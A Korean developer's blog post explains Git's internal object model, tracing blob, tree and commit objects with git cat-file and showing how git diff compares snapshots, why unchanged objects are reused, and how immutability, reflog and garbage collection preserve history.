git cat-file -p 7fc68d4fc2bca212fb60a2aa8dd55a5c3093c46c
tree 3354a0b3ad3cbd78d1ab5c596208b8fccd9e2cc9
author mag123c <diehreo@gmail.com> 1763531007 +0900
committer mag123c <diehreo@gmail.com> 1763531007 +0900

first


git cat-file -p 3354a0b3ad3cbd78d1ab5c596208b8fccd9e2cc9
040000 tree bb43df4aafae55c85532fa9f8abc1012c5cbfd03    src

git cat-file -p bb43df4aafae55c85532fa9f8abc1012c5cbfd03
040000 tree 4401420390c38334914cdb88c0b1231d058605d2    app
040000 tree dd830e88013a96181c12f9a822313760968701e1    test

PS C:\Users\root\Desktop\dev\git-study> git cat-file -p 4401420390c38334914cdb88c0b1231d058605d2
100644 blob 25b690689b298649c027af668c051282a96eed6c    main.ts

PS C:\Users\root\Desktop\dev\git-study> git cat-file -p 25b690689b298649c027af668c051282a96eed6c
test

PS C:\Users\root\Desktop\dev\git-study> git cat-file -p dd830e88013a96181c12f9a822313760968701e1
100644 blob 49cc8ef0e116cef009fe0bd72473a964bbd07f9b    test.ts

C:\Users\root\Desktop\dev\git-study> git cat-file -p 49cc8ef0e116cef009fe0bd72473a964bbd07f9b
# 공백

 

똑같이 두 번째 커밋을 추적해보고, 결과를 플로우 차트로 정리해봤습니다.

 

 

 

파란색이 첫 번째 커밋, 빨간색이 두 번째 커밋입니다.

여기서 눈여겨볼 점은 src/app과 main.ts, 즉 변하지 않은 tree, blob은 그대로 재사용된다는 점입니다.

test.ts 내용이 바뀌었기 때문에 test.ts blob이 새로 생성되고 이와 관련된 test tree, src tree, root tree만 새로 생성되어 새로운 commit객체로 새로 생성되게 됩니다.

 

 

안전성/불변성의 보장

이 구조를 보면, 특정 커밋을 읽어오는 과정에서 특정 해시가 사라진다면 전체 커밋에 손상이 생겨 해당 커밋이 날아갈 수도 있습니다. 특정 해시가 없어서 모든 데이터를 온전하게 읽어올 수 없으니까요.

 

Git은 이러한 문제를 사전에 방지하기 위해, 한 번 생성된 객체의 내용을 바꾸는 대신 항상 새 객체를 만들어 쌓는 방식으로 동작하도록 설계되어 있습니다. 위의 예제에서 test.ts의 내용이 바뀌었을 때 연관된 모든 객체들의 해시가 새로 생성되어 저장되었던 것 처럼 말입니다. 또한, 기존 객체를 수정하는 API도 없으며 일반 Git 사용 흐름에서 객체를 직접 지우지 않고 브랜치/태그에서 해당 해시에 참조가 끊기면 나중에 GC를 통해 쓸모없는 객체를 정리하도록 되어있습니다.

 

그래서 히스토리를 force-push로 지운 것처럼 보여도 어느 시점까지는 reflog나 GC 설정에 따라 객체는 꽤 오래 남아있게 됩니다.

이 불변성 덕분에 중간에 해시가 바뀌어서 깨지는 문제는 거의 없으며, 오픈소스에서 누가 뭘 하든 기존 커밋 자체는 남아있게 됩니다.

 

참고로 git commit --amend 명령도 기존 커밋 객체를 수정하는 게 아니라, 수정된 내용/메시지를 반영한 새로운 커밋 객체를 하나 더 만든 다음 branch ref를 그 새 커밋으로 옮기는 동작에 가깝습니다. 개발자 입장에서는 덮어쓰기처럼 보이지만, 내부적으로는 새 커밋이 하나 더 생기고 예전 커밋은 브랜치에서만 끊길 뿐 .git/objects 안에는 남아 있다가, 나중에 reflog나 GC 정책에 따라 정리됩니다.

 

이와 관련된 자세한 내용은 GitHub 블로그에 자세히 설명되어 있습니다.

 

 

 

Git Diff의 동작

그럼, 커밋들을 비교하는 git diff는 어떻게 동작하는걸까요?

git diff는 상황에 따라 내부적으로 git diff-treegit diff-indexgit diff-files 같은 로우 레벨 명령을 사용해서 실제 변경 내용을 계산합니다. 두 blob 쌍이 결정되면, 그 위에 Myers 같은 텍스트 diff 알고리즘을 적용해서 우리가 보는 +, - 기반의 diff 출력을 만듭니다.

git diff 7fc68d4fc2bca212fb60a2aa8dd55a5c3093c46c fc912aa419552b61e97fb086dae0cefdc20cd58a
diff --git a/src/test/test.ts b/src/test/test.ts
index 49cc8ef..77c44dd 100644
--- a/src/test/test.ts
+++ b/src/test/test.ts
@@ -1,2 +1,2 @@
-
+TEST

 

commit끼리 비교하는 git diff 기준으로 단순화해보면, 동작 방식은 다음과 같습니다.

  1. 두 commit에서 각 루트 tree 해시를 가져옴
  2. 두 tree를 동시에 비교하면서 같은 path를 가진 엔트리끼리 매칭. 엔트리들의 해시가 다르다면 하위로 내려가며 blob 쌍을 수집
  3. 수집된 blob 쌍에 대해 텍스트 diff 알고리즘을 적용해 최종 diff 출력을 만듬

중요한 건, Git이 diff 결과를 저장하지 않는다는 점입니다. Git은 각 커밋에서 전체 스냅샷을 tree/blob으로 보관하고, git diff 실행 시마다 두 스냅샷을 비교해서 그때그때 계산합니다. 그 대신 tree/hash 구조를 활용해 해시가 같은 subtree를 통째로 건너뛰는 식의 최적화를 수행하기 때문에, 큰 저장소에서도 diff가 빠르게 동작할 수 있습니다.

 

 

 

Git은 왜 이런 설계를 택했을까?

Git은 파일 내용을 Blob으로 저장하고, Blob들을 엮어서 Tree(디렉토리)를 만들고, 최상위 Tree와 메타데이터를 Commit으로 묶어서 시점을 고정한 뒤 계속 쌓아 올리는 방식으로 동작하는 것으로 보입니다. 지금까지 정리한 내용을 기준으로 왜 이런 설계를 택했을까? 에 대한 생각을 서술해보려합니다.

 

 

중복 제거와 무결성

blob/tree/commit을 모두 해시로 식별하는 구조 자체가 많은 것을 부수적으로 가져오고 있다고 생각합니다.

 

같은 내용의 파일은 디렉토리와 파일명이 달라도 같은 Blob 해시를 가집니다. 그렇기 때문에 하나의 blob만, tree만 저장하면 됩니다. 내용을 기준으로 주소를 정하는 구조 덕분에 dedup이 기본값이 됩니다.

 

또한, 내용 전체를 해싱한 값이 곧 ID, Key값 입니다. 내용이 1바이트라도 바뀌면 해시가 달라지기 때문에 해시만 맞으면 내용이 깨지지 않았다는 것을 어느정도 신뢰할 수 있습니다. 중간에 내용이 달라진다면 해시가 변경되기 때문에 바로 확인이 가능합니다.

 

 

스냅샷 + 구조적 공유 = 저장 효율

git checkout을 통해 특정 버전의 코드 전체가 구성되기 때문에, 겉으로 보면 커밋 = 프로젝트 전체 스냅샷 인 것처럼 동작합니다.

 

하지만, 이번 학습을 통해 내부 구조를 확인했습니다.

매 커밋마다 전체 파일을 통으로 새로 저장하지 않고, blob/tree 해시를 기준으로 구조적 공유를 하고 있습니다.

 

이런 구조 덕분에 사용자 입장에서는 스냅샷처럼 활용이 가능하고, 실제 저장소 입장에서는 변경된 부분만 새로 생성하고 해시로 공유하여 재사용이 가능한 구조입니다. 즉 외부 API는 스냅샷 모델이라 쓰기 편하고, 내부 구현은 구조적 공유를 통해 용량/성능을 최적화한 구조가 됩니다.

 

 

불변성과 히스토리 관리

또 하나 인상 깊었던 점은, Git이 한 번 만들어진 객체는 건드리지 않는다는 점입니다.
blob / tree / commit은 만들어질 때 내용 전체를 해싱해서 Key(해시)를 만들고, 그 이후에는 그 내용을 수정하지 않습니다. 내용이 바뀌면 항상 새로운 해시, 새로운 객체가 생깁니다.

 

이렇게 해두면 얻는 장점이 몇 가지 있는 것 같습니다.


우선, 중간에 히스토리가 모르게 바뀌는 일을 막을 수 있습니다.

기존 커밋의 내용을 바꾸는 API가 없기 때문에, 누군가 과거 커밋을 슬쩍 수정해버리는 식의 상황은 구조적으로 만들기 어려워집니다. git commit --amend 나 rebase 같은 것도 사실은 기존 커밋을 수정하는 게 아니라, 새로운 커밋을 만든 다음 브랜치(ref)를 거기로 옮기는 동작에 가깝습니다.

두 번째로, 히스토리를 안전하게 쌓아 올리는 쪽에 초점이 맞춰져 있다고 생각합니다. 브랜치/태그에서 참조가 끊긴 객체는 나중에 git gc 같은 과정에서 정리되지만, 그 전까지는 그대로 남아 있게 됩니다. 그래서 force-push로 히스토리를 지운 것처럼 보여도, 실제 객체들은 reflog나 GC 설정에 따라 꽤 오래 살아남습니다. 오픈소스에서 커밋 한 번 잘못 남기면 오래 박제되는(?) 이유도 결국 이런 구조 때문이라고 보면 될 것 같습니다.

요약하자면 Git은 빠르게 지우고 덮어쓰는 쪽보다, 계속 쌓아 올리면서 필요에 따라 가리키는 포인터(ref)만 바꾸는 방식으로 히스토리를 관리하는 느낌을 받았습니다.

 

 

정리하며

이번 글에서는 Git이 데이터를 어떻게 저장하는지에 집중해서 아래의 내용들을 정리해봤습니다.

  • Blob / Tree / Commit 객체 구조
  • git cat-file로 내부 객체 추적하기
  • 두 커밋 사이에서 어떤 객체들이 재사용/새로 생성되는지
  • git diff가 Tree/Blob을 기준으로 어떻게 변경 파일을 찾아내는지

 

논외로, 부모 커밋을 계속 체이닝하는 구조이기 때문에 자연스럽게 단방향 LinkedList인가? 라고 생각했는데, 조금 더 찾아보니, 보통 Git에서는 이 커밋 구조를 DAG(Directed Acyclic Graph) 라고 부르는 것 같습니다. 아마 한 방향으로만 이어지는 것이 아니라 merge 커밋이 부모를 두 개 이상 가질 수 있기 때문에 전체 구조로 보면 여러 갈래가 합쳐지는 그래프에 더 가까울 것 같다는 생각도 듭니다.

 

다음 포스팅에서는 merge, rebase와 더불어 이번에 살짝 언급했던 커밋 그래프와 브랜치 쪽을 조금 더 파볼 예정입니다.

 

 

 

 

 

 

References.

https://git-scm.com/book/en/v2/Git-Internals-Git-Objects

https://git-scm.com/docs/git-diff-tree?utm_source=chatgpt.com

https://github.blog/open-source/git/gits-database-internals-i-packed-object-store

https://docs.github.com/en

 

 

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

방명록